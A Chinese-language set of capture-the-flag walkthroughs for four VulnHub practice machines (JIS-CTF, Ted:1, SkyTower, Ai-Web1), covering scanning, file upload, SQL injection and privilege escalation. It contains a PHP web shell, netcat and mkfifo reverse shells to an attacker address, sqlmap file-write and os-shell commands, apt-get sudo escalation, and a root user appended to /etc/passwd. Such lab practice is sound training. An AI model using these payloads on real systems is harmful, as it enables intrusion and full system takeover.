JIS-CTF
introduce
主要的漏洞是任意文件上传,同时结合渗透测试和 ctf 的相关知识去获取一共 5 个 flag。
下载地址:https://www.vulnhub.com/entry/jis-ctf-vulnupload,228/
-
flag1
目录扫描,在可见 flag 文件里 -
flag2
目录扫描,在有提示的可以目录源代码中。有点 ctf 味道,实际渗透也可以思索前端信息利用。 -
flag3
任意文件上传,蚁剑连接,在相关文件中查找到隐藏 flag -
flag4
查找相关文件可以获取到其他用户信息密码 -
flag5
使用其他用户信息和密码进行暴露的 ssh 端口连接
Penetration testing
- 信息收集
- 查找网卡当前设备
获取到目标主机 ip
1 | netdiscover -i eth0 |
ip 大概率是 192.168.21.138
- namp 扫描
对目标进行 ping 检测,不进行端口扫描(会发送四种报文确定目标是否存活,)
1 | nmap -sn 192.168.21.0/24 |
对端口上的服务程序版本进行扫描
1 | nmap -sV 192.168.21.138 |
-
80 端口查看
-
目录扫描
1 | dirb http://192.168.21.138 |
-
查看相关目录结构信息
get flag1
-
总结可以路径,获取更大探索目标
1 | 可疑路径 |
get flag2
- 得到登录账号信息
1 | <!-- username : admin |
- 发掘漏洞
文件上传咩,试一试 php 文件能传不
- 1.php
1 | <?php @eval($POST_['cmd']) ?> |
- 获取文件上传路径
翻了一波,在上面敏感路径拼凑得到
/uploaded_files/1.php
- 漏洞利用
- 蚁剑连接后门,查看网站内部文件
get flag3
hint.txt
提示让我们获取另外一个账号去读取 flag.txt 文件,之前也读过 flag.txt 文件,发现权限不够,读取不了。
- 查找用户名
这个操作系统环境搭建的时候是 Linux,之前阅读过相关文章了解到用户名和密码会存储在 /etc/passwd/ 或者 /etc/shadow/
一般是在第二个路径,第一个路径不会显示完全
但是呢,我读取失败了,看到网站这么多文件,我总不能一个一个翻吧。
于是乎,我打开了蚁剑的虚拟终端,使用 shell 命令查找相关文件
1 | grep -sr technawi /etc/ |
不显示错误信息查找子目录和 technawi 有关的文件
非常好,范围缩小了很多
get flag4
- ssh 连接
之前也尝试过用 admin 密码进行 ssh 连接,但是都被拒绝了。
后门也尝试使用 technawi 进行登录框登录,但是没有获取其他有用信息。
get flag5
- 总结
这个靶场属于简单的类型,主要就是任意文件上传加上一个 ssh 远程连接。其他主要考察信息利用,感觉多刷还是可以的,有感觉,自然而然拓宽了渗透思路和打法。这种感觉比打 ctf 更清晰命令,还是比较适合渗透小白的我练习!
Ted:1
introduce
命令执行,提权
下载地址:https://www.vulnhub.com/entry/ted-1,327/
Penetration testing
- 信息收集
IP:192.168.31.132
1 | nmap -p- -A 192.168.31.132 |
80 端口开放,访问看一下
- 获取后台权限
登录框尝试使用弱密码进入,使用 burp 抓包查看具体回显情况。
最终确定改组弱密码是正确的,但是呢密码没有加密正确:Password hash is not correct
哈希尝试 SHA 类算法都尝试一下
SHA-256 是正确的
- 探究搜索框功能
尝试输入
1 | 1' |
1 | <script>alert('xss')</script> |
1 | home.php |
得到如下截图
可以得到:该搜索框与数据库应该无交互、存在 xss、任意文件读取
- 漏洞发现
除了会话详细信息,文件通过以下方式存储在服务器文件系统中
1 | /var/lib/php/sessions/sess_<php session id> |
发现 user_pref 的值好像进行回显,尝试代码执行
- 漏洞利用
反弹 shell
1 | <?php system("nc ip port -e /bin/bash")?> |
发现权限只有当前网站 www-data
sudo -l 发现可以执行 apt-get
使用 apt-get 提权
1 | sudo apt-get update -o APT::Update::Pre-Invoke::=/bin/sh |
成功获取到 root 权限
SkyTower
introduce
下载:https://www.vulnhub.com/entry/skytower-1,96/
这里啰嗦一点,补充一点搭建遇到的小问题(我是菜菜)。官方下载的文件是.vdi 文件,但是呢我的攻击机是 kali,是使用 vmware 进行搭建的,vmware 又不支持.vdi 文件,所以得先安装 virtualbox。
最好使用这个方法来搭建,因为本人尝试过使两个不同虚拟机进行通信,改变网络状况为桥接模式,尝试多种方法均因为网络问题而无法通信。
- 在 virtualbox 安装路径打开命令框执行以下命令(对应路径需要按照自己的修改)
1 | VBoxManage clonehd <path_to_vdi_file> <path_to_vmdk_file> --format vmdk |
1 | VBoxManage clonehd D:\Skytower\SkyTower.vdi D:\Skytower\SkyTower.vmdk --format vmdk |
- 之后使用 vmware 新建虚拟机,使用现有磁盘进行搭建,这个问题可以使用搜索引擎轻松解决。
- 还不赶紧升级打怪?
Penetration testing
- 信息收集
得到靶机 IP
1 | netdiscover -i eth0 |
扫描靶机端口开放情况
1 | nmap -A 192.168.21.144 |
- 获取后台权限
- 尝试弱密码失败
- 尝试 sql 注入
使用以下语句测试
1 | 1 |
最终根据回显语句猜测后台 Sql 语句应该是这个样子的
1 | select '用户名' from xxx; |
并且经过测试发现过滤了 or 和 =
这里可以使用两个方法巧妙绕过
1 | '*' |
1 | 1'<>'2 |
提示使用 ssh 登录,并且提供了用户名和密码
- 获取用户权限
ssh 登录需要 22 端口,但是之前 nmap 识别端口除以关闭状态。
尝试通过代理服务器的 3128 端口连接。
1 | vim /etc/proxychains.conf |
1 | http 192.168.21.144 3128 |
1 | proxychains ssh john@192.168.21.144 |
连接被拒绝了
创建一个虚拟终端连接
1 | proxychains ssh john@192.168.21.144 /bin/bash |
发现权限知识当前用户权限,查看当前文件和目录权限,发现.bashrc 文件,里面会存在对 ssh 登录的一些配置,把它删除应该可以不用创建虚拟终端也可以正常登录。
ogay!可以正常代理登录,尝试查看当前用户的 sudo 命令有什么,发现当前用户完全没有,想办法提权拥有更多权限,如果有其他用户就好了。看看当前进程情况。
1 | netstat -antp |
发现 3306 端口,想到 Mysql 数据库,而且在登录界面存在 sql 注入,那么 login.php 文件会不会存在数据库的配置信息?会不会有数据库用户名和密码?
- 获取数据库权限
一般网站是搭建在 /var/www 目录下,在该目录下看看可以文件,查看 login.php 得到数据库用户名和密码。
1 | mysql -uroot -proot |
登录数据库后,查看数据库信息,得到三个用户信息,使用 Sara 用户 ssh 登录试一试
sudo 具有 ls 和 cat 权限
这个是搭建靶机,靶机页面提示的信息,应该是提示更进一步信息在 /root/flag.txt 中
1 | sudo cat /accounts/../root/flag.txt |
这里的…/ 我一开始没加说未找到,我就尝试加了回溯看一看就找到了。
得到 root 的密码 thisskytower
- 获取 root 权限
Ai-Web1
introduce
SQL 注入、文件上传、反弹 shell、提权
下载地址:https://www.vulnhub.com/entry/ai-web-1,353/
Penetration testing
- 信息收集
查看当前网卡设备,定位靶机 ip
netdiscover -i eth0
扫描端口开放情况
nmap -sS -sV -A -n 192.168.21.152
分别访问扫描到的端口和路径情况
80 端口没啥信息,剩下俩路径也是禁止的
目的扫描尝试获取更多信息
获取到 info.php 页面
没获取到其他详细目录
获取到 index.php 页面
感觉像 SQL 注入,抓包进行分析
- SQL 注入
存在回显
抓包查看具体数据
POST 获取注入点,使用 sqlmap 获取注入信息
获取数据库
python sqlmap.py -u "http://192.168.21.152/se3reTdir777/index.php" --data "uid=1&Operation=Submit" --dbs
获取表
python sqlmap.py -u "http://192.168.21.152/se3reTdir777/index.php" --data "uid=1&Operation=Submit" -D aiweb1 --tables
获取表中信息
python sqlmap.py -u "http://192.168.21.152/se3reTdir777/index.php" --data "uid=1&Operation=Submit" -D aiweb1 -T user --columns
没有啥信息,尝试提权,提权需要知道绝对路径,查看之前扫到的 info.php
python sqlmap.py -u "http://192.168.21.152/se3reTdir777/index.php" --data "uid=1&Operation=Submit" --level=3 --os-shell
/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/
www-data 网站权限到手
- 文件上传
1 | sqlmap -u "http://192.168.21.152/se3reTdir777/" --data "uid=1&Operation=Submit" --file-write D:/test.php --file-dest /home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/test.php |
-
使用蚁剑进行连接
-
反弹 shell
-e 参数不可用,只能换一种连接方式
1 | rm /tmp/f;mkfifo/tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.21.132 6666 >/tmp/f |
成功返回 shell
似乎不是很稳定
- 上传马获取 shell 权限
1 | 上传文件的一些小技巧: |
1 | <?php |
1 | python sqlmap.py -u "http://192.168.21.152/se3reTdir777/" --data "uid=1&Operation=Submit" --file-write D:/shell.php --file-dest /home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/shell.php |
成功回显命令
建立交互式 shell
1 | python -c "import pty;pty.spawn('/bin/bash')" |
- 提权
创建 myhacker 账号
1 | openssl passwd -1 -salt my 123456 |
1 | echo 'myhacker:$1$myhacker$fET8oFRfWlj8ZLk7eDnkM/:0:0::/root:/bin/bash'>>/etc/passwd |
成功拿到 root 权限
- 获取 flag